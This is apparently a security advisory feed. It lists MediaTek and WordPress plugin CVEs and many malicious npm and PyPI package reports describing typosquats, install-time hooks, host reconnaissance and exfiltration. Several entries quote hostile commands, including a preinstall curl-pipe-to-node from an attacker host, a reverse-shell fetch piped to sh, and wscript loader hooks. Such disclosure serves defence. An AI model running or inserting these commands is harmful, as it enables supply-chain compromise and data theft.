CVE-2026-20528	New						In ccci, there is a possible out of bounds write and read due to a missing bounds check. This could lead to local information disclosure, memory corruption, crashes, or privilege escalation if a malicious actor has already obtained the System privilege. User interaction is needed for exploitation. Patch ID: ALPS11428950 (Note: For MT6880, MT6890) / ALPS10563453 (Note: For MT...
CVE-2026-20529	New						In battery, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11276677; Issue ID: MSV-9217.
CVE-2026-20530	New						In display, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11292777; Issue ID: MSV-9195.
CVE-2026-20531	New						In apu, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11249016; Issue ID: MSV-9169.
CVE-2026-20532	New						In apu, there is a possible application crash due to double free. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11249024; Issue ID: MSV-9168.
CVE-2026-20533	New						In display, there is a possible escalation of privilege due to an integer overflow. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11296678; Issue ID: MSV-9167.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20534	New						In Modem, there is a possible out of bounds read due to an incorrect bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01797547; Issue ID: MSV-9155.
CVE-2026-20535	New						In aidl, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11185216; Issue ID: MSV-9039.
CVE-2026-20536	New						In aidl, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11242428; Issue ID: MSV-9038.
CVE-2026-20537	New						In aidl, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11185225; Issue ID: MSV-9024.
CVE-2026-20538	New						In Modem, there is a possible out of bounds read due to a missing permission check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01774038; Issue ID: MSV-8914.
CVE-2026-20539	New						In Modem, there is a possible out of bounds read due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01774038; Issue ID: MSV-8913.
CVE-2026-20540	New						In Modem, there is a possible out of bounds read due to a missing bounds check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01774038; Issue ID: MSV-8912.
CVE-2026-20541	New						In Modem, there is a possible out of bounds read due to a missing permission check. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01774038; Issue ID: MSV-8911.
CVE-2026-20542	New						In apusys, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11076799; Issue ID: MSV-8143.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20543	New						In Modem, there is a possible information disclosure due to a logic error. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01645293; Issue ID: MSV-6761.
CVE-2026-20544	New						In meta, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS11049530 / ALPS11480843; Issue ID: MSV-7935.
CVE-2026-20579	New						In vdec, there is a possible out of bounds write due to type confusion. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11383899; Issue ID: MSV-9800.
CVE-2026-20586	New						In vdec, there is a possible out of bounds write due to a missing bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS11383899; Issue ID: MSV-9614.
CVE-2026-20587	New						In mtee, there is a possible escalation of privilege due to type confusion. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11383899; Issue ID: MSV-9608.
CVE-2026-20588	New						In mtee, there is a possible escalation of privilege due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11383899; Issue ID: MSV-9607.
CVE-2026-20589	New						In venc, there is a possible out of bounds write due to type confusion. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11383899; Issue ID: MSV-9606.
CVE-2026-78371	New						The File Uploads Addon for WooCommerce WordPress plugin before 1.7.6 does not verify that the person requesting a customer-uploaded file is the customer who uploaded it, allowing unauthenticated attackers who know or guess a file's name to download other customers' uploaded files.
CVE-2026-84169	New						The UPI QR Code Payment Gateway WordPress plugin through 1.4.3 does not verify that a payment-confirmation request actually belongs to the order and customer it claims to confirm, allowing unauthenticated attackers to mark an arbitrary order as paid without making any payment.
MAL-2026-17343	New					npm:@bellaxchuu/crystalred	This package is part of a large family (100+ identified as of September 2026) of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated `w:mex` FOLLOW query (query_id 7871414976211147) against one or more attacker-chosen WhatsApp Channel/Ne...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17383	New					npm:@xatancchii/velycxbail	This package is part of a large family (100+ identified as of September 2026) of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated `w:mex` FOLLOW query (query_id 7871414976211147) against one or more attacker-chosen WhatsApp Channel/Ne...
MAL-2026-17404	New					npm:saturn-baileys	This package is part of a large family (100+ identified as of September 2026) of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated `w:mex` FOLLOW query (query_id 7871414976211147) against one or more attacker-chosen WhatsApp Channel/Ne...
MAL-2026-17405	New					npm:shadowmd	This package is part of a large family (100+ identified as of September 2026) of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated `w:mex` FOLLOW query (query_id 7871414976211147) against one or more attacker-chosen WhatsApp Channel/Ne...
MAL-2026-17472	New					PyPI:anthropic-sdk	--- _-= Per source details. Do not edit below this line._= _ ## Source: amazon-inspector (500869e36b3f76202b63e8db9087adcf42c8281a27a4402a21285aabde7a511) The package publishes as `anthropic-sdk` and re-exports the official `anthropic` client's symbols (`from anthropic import *`; re-exports of `Anthropic`/`AsyncAnthropic`), presenting itself as a drop-in for the official S...
MAL-2026-17473	New					npm:chai-as-testmode	--- _-= Per source details. Do not edit below this line._= _ ## Source: amazon-inspector (af5e91a44a2eb0773df19fce2096660c285bafbe846a5f09d8bb25ff0eba22b2) The package masquerades as the pino logging library (README badges and lib/ contents mimic pino) but ships a dropper at lib/initializeCaller.js. A self-executing IIFE POSTs the full process.env object to a base64-conceal...
MAL-2026-17474	New					npm:core-js-gnz	--- _-= Per source details. Do not edit below this line._= _ ## Source: amazon-inspector (dc57686b95f827f2c3b0501d97b6575e077247255bf5d4227ae9bc8bedd43937) On install, package.json runs `node init.js` as a postinstall hook. init.js collects host identifiers (os.hostname(), os.userInfo().username, os.platform(), os.arch(), node version, OS release) and POSTs them to https://...
MAL-2026-17475	New					npm:css-a11y-contrast-utils	--- _-= Per source details. Do not edit below this line._= _ ## Source: amazon-inspector (85ad65ab7d49c4277898f5da5b5d45f3ec9cde46035bcf6416e3a95507ca1301) css-a11y-contrast-utils@1.0.0 is advertised as a WCAG contrast utility but ships no contrast code — index.js exports an empty object. The package instead defines a Proxy stub exposing identifiers from Wix's internal Thun...
MAL-2026-17476	New					npm:css-anchor-pos-fallback	--- _-= Per source details. Do not edit below this line._= _ ## Source: amazon-inspector (bd0a6c8e1448ffd9abb3732872ea3d49280a422d49524aaa57d0b89a73812f05) The package advertises itself as a CSS anchor-position polyfill but on require executes an IIFE in thunderboltRegistry.js that runs `id`, `whoami`, `uname -a`, `ifconfig`/`ip addr`, and reads `/etc/hosts`, then POSTs the...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17477	New					npm:css-env-function-shim	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (03e6fced50259d6d3781ef3917caba965e4744420188c3e06919541b64e2e294) Package self-describes as a CSS env() shim but ships thunderboltRegistry.js, which runs an IIFE at module load that base64-decodes the strings 'child_process' and 'execSync', dynamically requires child_process, and shell...
MAL-2026-17478	New					npm:css-field-sizing-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (549bb8820cb6a8a35853826d17b64df14c0561b83790192a33c5dc76dbad53b9) The package advertises itself as a CSS field-sizing polyfill but ships thunderboltRegistry.js, which runs an IIFE at module load time. The IIFE shells out via child_process.execSync to run `id`, `whoami`, `uname -a`, `if...
MAL-2026-17479	New					npm:css-gap-decorations-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (8126656cc344a4f632b8ddf5a23683fc92ac22798bb67e1aed6bca73ac82d7b6) The package is published as a CSS polyfill but ships no polyfill functionality. On require(), thunderboltRegistry.js uses child_process.execSync to run whoami, uname -a, ifconfig/ip addr, and read /etc/hosts, then sends ...
MAL-2026-17480	New					npm:css-interop-observer-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (089bdc1dd6bdf0216bb911888e81ce97dc171bdef2588fd5de0aad4a64fb2b) On module load, thunderboltRegistry.js executes an IIFE that runs id, whoami, uname, ifconfig/ip addr via child_process.execSync and reads /etc/hosts, then sends each result together with hostname, node version, platform...
MAL-2026-17481	New					npm:css-light-dark-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (856c154d7855924568c88181f172f46e84aac202bd6cb29974eb2faa3ec3ea7) The package presents itself as a trivial CSS polyfill (index.js exports an empty object) but ships thunderboltRegistry.js, which on load runs a self-invoking IIFE that collects host identifiers (os.hostname, node version...
MAL-2026-17482	New					npm:css-logical-prop-shim	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (d0ffba65f80ee8f200199c8c90ebb6297b8590537c80ea50bb34874d91665b5f) The package ships thunderboltRegistry.js which imports child_process and invokes execSync with curl commands at multiple sites (lines 30, 39, 47, 48). The declared purpose of the package is a CSS logical-property shim, w...
MAL-2026-17483	New					npm:css-reading-flow-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (3b18e313d5fc67f07c1bcf051bd79a85dca97bb3c4510d9755efca6414bb55ff) The package is published as css-reading-flow-polyfill but ships thunderboltRegistry.js, which impersonates internal Wix thunderbolt registry modules (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, e...
MAL-2026-17484	New					npm:css-relative-color-util	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (ee0efef48c7d56201a037b237f11ec712853f86e74f6a00ef8011732b31363f1) The package name advertises a CSS utility, but thunderboltRegistry.js runs an IIFE on module load that uses child_process.execSync to execute whoami, uname -a, cat /etc/hosts, and ifconfig/ip addr, then exfiltrates the o...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17485	New					npm:css-scroll-anchor-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (36596ba9b9d8c0f994abe3cd87783f4f0dc880e63d55374d3555347ce349fab2) Package is published as css-scroll-anchor-polyfill but its index.js is empty and its contents impersonate internal Wix thunderbolt registry module names (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistr...
MAL-2026-17486	New					npm:css-scroll-state-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (cfa0affc34bac3fa24fcc7c67aae4d120066f4f856cb8b637bc04c6ca9d482c) The package presents itself as a CSS polyfill but ships a payload file (thunderboltRegistry.js) that executes an IIFE at require time. The IIFE uses child_process to run host-identification commands (id, whoami, uname -a...
MAL-2026-17487	New					npm:css-snap-target-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (00c104d427125b4acf88ecb83a58d563507b23bcb716cb87fbf7fc953d816d42) The package ships thunderboltRegistry.js, which uses child_process and process.platform to collect host information and POSTs it via fetch() to the hardcoded external endpoint http://dpxoc.gt.tc. The destination is unrel...
MAL-2026-17488	New					npm:css-starting-style-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (713c302594ab7c41e8034ca95478045afafba98e223ea62def160f080cb879cd) thunderboltRegistry.js runs an IIFE on module load that executes host reconnaissance commands via child_process.execSync (id, whoami, uname -a, ifconfig/ip addr, cat /etc/hosts) and transmits the collected output togethe...
MAL-2026-17489	New					npm:express-enhanced	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6) express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name....
MAL-2026-17490	New					npm:express-fork	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d) express-fork@5.2.2 is a typosquat of the express package. Its package.json metadata (description, author, repository, keywords) is copied verbatim from express, while package.json line 98 defines a preinstall lifecycle s...
MAL-2026-17491	New					npm:focus-visible-polyfill-lite	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (5225b5a8636a589f9b90272ad04c3f4104670a23d5c24b45f6aeaa757a4f2a2b) The package is advertised as a focus-visible polyfill but ships thunderboltRegistry.js, which impersonates Wix thunderbolt internal registry modules (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, e...
MAL-2026-17492	New					npm:@angular/cli	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (122d8c8fdbfe9bd590dd3e1c41a6afceff4f1c552af5f1756577975c84878a8) Package is published as @angular/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declar...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17493	New					npm:@angular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (801dcd769bdf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365) The package's npm preinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitfllic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js   node`, fetching a JavaScript payload from a third-pa...
MAL-2026-17494	New					npm:@angular/router	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83) The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitfllic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js   node`, fetching an unpinned, unverified JavaScript payload from...
MAL-2026-17495	New					npm:@angular/cli	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f) The package name @angular/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata (description, repository, homepage, keywords, dependencies). Its package.json defines a preinstall script...
MAL-2026-17496	New					npm:@angular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34) The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitfllic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js   node`, fetching JavaScript from an unrelated third-party host (...)
MAL-2026-17497	New					npm:@babel/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b) The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitfllic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js   node`, downloading a JavaScr...
MAL-2026-17498	New					npm:@kibit/www-nuxt-i18n	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5ab1895c73507311b9efd31e40015529d9d7735c87e50cf3b714e6e520205ec4) The package is a stub whose index.js exports a Proxy returning no-op functions for every property access, allowing bundlers that import any member of the expected real package to succeed. The package.json declares a post...
MAL-2026-17499	New					npm:@angular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3eefaf8ea5349096835008557) The package's package.json declares a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitfllic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js   node`, fetching an unpinned...
MAL-2026-17500	New					npm:@angular/router	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca) package.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitfllic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js   node`, fetching an opaque JavaScript payloa...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17501	New					npm:a11y-tabindex-manager	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ce127c3e1cadd4f544a5f2580f2db030e3d9e3667d7b0e3399d85b59eb354045) a11y-tabindex-manager ships thunderboltRegistry.js, which executes an IIFE on module load that runs a series of local shell commands (cat /etc/hosts, whoami, id, pwd, ifconfig/ip addr, hostname, cat /etc/resolv.conf, una...
MAL-2026-17502	New					npm:botmaker-cli	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa) On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface list (including private IPs) and POSTs them as JSON to the hardcoded ho...
MAL-2026-17503	New					npm:dom-focus-sentinel	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7baf5178b3cd02ae8e6e2c01e8cf305fd9670118428c4d3ef94ac0caef6fc4e8) thunderboltRegistry.js runs an immediately-invoked function at module load that uses child_process.execSync to run host reconnaissance commands (whoami, id, pwd, ifconfig, ip addr, cat /etc/hosts, hostname) and transmits...
MAL-2026-17504	New					npm:dotenv-async	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (51d22963a1f1fabe3a8b3f54efcb5053761d385486093200765745297ac2bd16) The package impersonates the dotenv API but on module load (and again when the bundled CLI runs) invokes a function named dispatchAnalytics in dist/index.cjs that extracts a payload from the APP14 (0xFFED) marker of dist...
MAL-2026-17505	New					npm:dotenv-promises	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (254f0bcbb8014fb07414eb0b41a898deac682aa8c8b7a8541a0f7538ac274f9a) The package is published as 'dotenv-promises' but its bundled manifest declares the internal name 'node-env-buffer@2.2.6' and mimics the dotenv API (config/parse/populate/expand) to attract installs of a well-known libra...
MAL-2026-17506	New					npm:hardhat-ftp	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5e916c23a0efbd49d3cfcd5993957df7afbade3f454925d0672acc8c9f68245c) The package's declared main entry index.js unconditionally requires ./lib/config, a 4,499,968-byte obfuscator.io-packed file (26,234-entry string array, hex-renamed identifiers, control-flow flattening, top-level IIFE) th...
MAL-2026-17507	New					npm:hardhat-jsx	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (62ac44be2745338b73861690e7f979216fdcf6c3797dfa2f450e9063aa4158d1) The package is published as 'hardhat-jsx' but its metadata, documentation, and lib/ layout impersonate the pino logger (keywords 'fast','logger','stream','json'; shipped docs reference pinojs/pino). The main entry index....
MAL-2026-17508	New					npm:hardhat-plus	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (02d908da8470ad86669b080d267b57174ccd77e5fd6ed2c371c430d98e869f2b) hardhat-plus@2.21.0 is published under a name resembling the Ethereum development tool 'hardhat' but ships README, type definitions, and docs copied verbatim from the unrelated pino logger project (README.md references n...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17509	New					npm:hardhat-roof	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (25cbf03ad6014824ab078237f83b2b682145928e5effefbe3dcc5deca9ba1e26) The package presents itself as the pino logger — README, docs/, index.d.ts and LICENSE are copied from pinojs/pino and keywords advertise 'fast, logger, stream, json' — but the package name is 'hardhat-roof', the descrip...
MAL-2026-17510	New					npm:internallib_v275	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (80c1c6d383b3defb01da235e39e08ce56276d887e63d900aea2ee689836f71b4) index.js exports a `command` function that invokes `/bin/bash -c` to curl a reverse-shell payload from reverse-shell.sh targeting the hardcoded host 10.0.49.106:443 and pipes the response to `sh`, yielding interactive re...
MAL-2026-17511	New					npm:lite-mater	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (532663c4102d3cf7310e29ca1eb2b389c5c32c1e541da219b7c4364968f4e807) package.json declares a postinstall lifecycle hook `wscript.exe 4444.vbs` that runs automatically on `npm install` on Windows hosts. The shipped 4444.vbs (~765 KB) is a multi-layer obfuscated loader: an embedded payload ...
MAL-2026-17512	New					npm:lite-matte	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4e7b0ae9e42c334c1c22627e60add7a2c5a0d558a2ab65a3af0043e27bb0e686) package.json declares "postinstall": "wscript.exe 4444.vbs", causing `npm install` to auto-execute a ~765KB Windows Script Host file shipped in the tarball. 4444.vbs is heavily obfuscated: it reconstructs COM ProgIDs (...)
MAL-2026-17513	New					npm:lite-matterr	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cc9b5f5edaae9103fd26de7cb70e661d78d6948dc3c519fec6b4b62fd471fbfc) lite-matterr@1.0.0 declares a postinstall hook in package.json that runs `wscript.exe 4444.vbs` on `npm install`. The bundled 4444.vbs is a ~765KB heavily obfuscated VBScript containing layered decryption routines (XOR-m...
MAL-2026-17514	New					npm:minimal-a11y-contrast-check	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d9a198e6fb2c5e31bc841ff12f210e630abe8629853faf4ea961a124a9be8a25) Despite being advertised as a WCAG contrast checker, the package executes a self-invoking function at module load that runs host reconnaissance commands (whoami, id, hostname, uname -a, ls -la /, pwd, cat /etc/os-release...
MAL-2026-17515	New					npm:monitoring-agent	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (703c1e796904571c9f0d08a4769a5f7e25a646483b4a66815a6ddc420ae0ecee) The package exports an Express middleware (`monitor()`) advertised as a monitoring tool. On every response finish, the middleware POSTs the inbound HTTP request to a hardcoded author-controlled host at https://backend-cy...
MAL-2026-17516	New					npm:oleh-modal	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cf2aebc282014a7dfa6ef1726083d23bcc9cc3eca76c814d4e775b7b10021545) Package oleh-modal@1.0.0 is a credential-harvesting phishing kit disguised as a wallet-connect modal component. It renders fake MetaMask/Phantom/Rabby/OKX 'restore vault' modals that link to the legitimate extensions' re...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17517	New					npm:popover-anchor-polyfill	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (31e270ae326e5c45eb5cf7bc9ff96126908c194bef5f280a4028ff0e9ed9) The package advertises itself as a 'popover anchor positioning polyfill' but ships thunderboltRegistry.js, which executes an IIFE on module load that spawns shell commands via child_process.execSync('id', 'whoami', 'una...
MAL-2026-17518	New					npm:postcss-gap-fallback-util	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5b54d5bd893bc377a77503059998e01ae3e338fd4d8ddac6fe2d7c71a3157cb5) The package is published as a PostCSS gap fallback utility but ships thunderboltRegistry.js, which executes an IIFE on module load. The IIFE runs whoami, id, and hostname via child_process.execSync, curls the AWS instanc...
MAL-2026-17519	New					npm:promises-dotenv3	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (146d9688d00e8fa785e2fb62976f0dad169e8055c6c92d3795536cc63527c640) promises-dotenv3@1.0.0 is a typosquat of dotenv-family packages that executes an obfuscated payload at module load. On top-level require of the package's main entry and its CLI, a function named `dispatchAnalytics` reads...
MAL-2026-17520	New					npm:rgx33-css-grid-utils	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (320488b79c9000782e398425aa1a2fddba7f29a487913bbb2fc2019405c078f5) The package is published as `rgx33-css-grid-utils` but exports a set of module keys matching Wix thunderbolt internal registries (`thunderboltRegistry`, `siteAssetsRegistry`, `editorRegistry`, `corvidRegistry`, `dataBind...
MAL-2026-17521	New					npm:rgx33-flex-layout-core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (02200327d66cf0661b787f58049b55b5fbb95dfb76fbb81a679cc71433bd85eb) Package name and exports (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, etc.) impersonate internal Wix thunderbolt registry packages, targeting Wix build pipelines via dependency confusion. On ...
MAL-2026-17522	New					npm:studiocode_eligibility	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a49b1af8bbf0463bb38d3049e59c28b0dcc8d2e3e5ef54611b4e77bddfdd36dc) package.json declares a postinstall hook `wscript.exe 4444.vbs` that automatically executes a 765KB VBScript shipped in the tarball on Windows installers. The VBS contains multi-layer obfuscation (XOR-decoded AES S-boxes...
MAL-2026-17523	New					npm:studiocode_tools	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (261d413c0847b530c9a452c209c25e0a7d9123f9b0f20b26d0afcc41a929c74a) package.json declares a postinstall hook that runs `wscript.exe 4444.vbs`, auto-executing on `npm install` on Windows. The shipped 4444.vbs contains hand-rolled AES and ChaCha20 implementations with XOR-obfuscated S-boxe...
MAL-2026-17524	New					npm:tailwindcss-forms-styles	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (587d9a389f35a8ec2d3ed714c90f7daa43feb6875f4ce2e4280f5ce19569d895) The package name tailwindcss-forms-styles mimics the legitimate @tailwindcss/forms plugin, and its src/index.js copies that plugin's code verbatim as cover. Above the cover code, a top-level IIFE joins a ~140-element bas...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17525	New					npm:tiny-css-token-parser	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ee63fae51fcee7c4d3c5051e191e477ca9bb8302f6fc4d3d07f5446951efa0f) Package is advertised as a CSS token parser but ships thunderboltRegistry.js which runs an IIFE on module load that collects hostname, pid, Node version, platform, and the output of `id` and `uname -r` via child_process....
MAL-2026-17526	New					npm:tiny-dom-focus-trap	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (84262096595a1e0ce09bbaa359930cd07cf420cc72545174ddc4f12c60bec962) The package is advertised as a focus-trap utility but thunderboltRegistry.js runs an IIFE at require time that uses child_process.execSync to run whoami, id, pwd, ifconfig / ip addr, hostname, and to read /etc/hosts, the...
MAL-2026-17527	New					npm:tiny-focusgroup-helper	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9c6d210f6c61d0ec49fac4bf487a2d71966b1f3dd59653d8a8df12e04f9b306) tiny-focusgroup-helper@1.0.0 declares itself as a focus-group accessibility helper, but thunderboltRegistry.js runs an IIFE at require time that executes `whoami`, `uname -a`, `ifconfig`/`ip addr`, and reads `/etc/hosts`...
MAL-2026-17528	New					npm:tiny-viewport-unit-calc	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (34c221d8f8f0fedded27bfc22763912ffd96e9f3d1b2c08932e054ed418f493e) The package ships thunderboltRegistry.js, a module that imports Node's child_process primitives and executes `whoami` plus repeated `ping` commands against external hostnames, with POST calls present in the same file. Th...
MAL-2026-17529	New					npm:ultimate-websocket	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7574e423b830695141ee6e089006e0c355109e240c69881512806869cfee8114) package.json declares its only dependency `node-net-pool` as a bare tarball URL pointing at the mutable `main` branch of an unrelated GitHub user (`https://github.com/trktgq0wbre1/node-net-pool/archive/refs/heads/main.ta...
MAL-2026-17530	New					npm:wcag-color-a11y-helpers	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8b6e72298f32298d6558f5d52eb7a9d5185b37fe8df14748bf61d6686dde1cb3) Package is advertised as a WCAG color accessibility helper library but ships thunderboltRegistry.js, an IIFE that on module load executes shell commands (whoami, id, pwd, ifconfig/ip addr, hostname) and transmits the out...
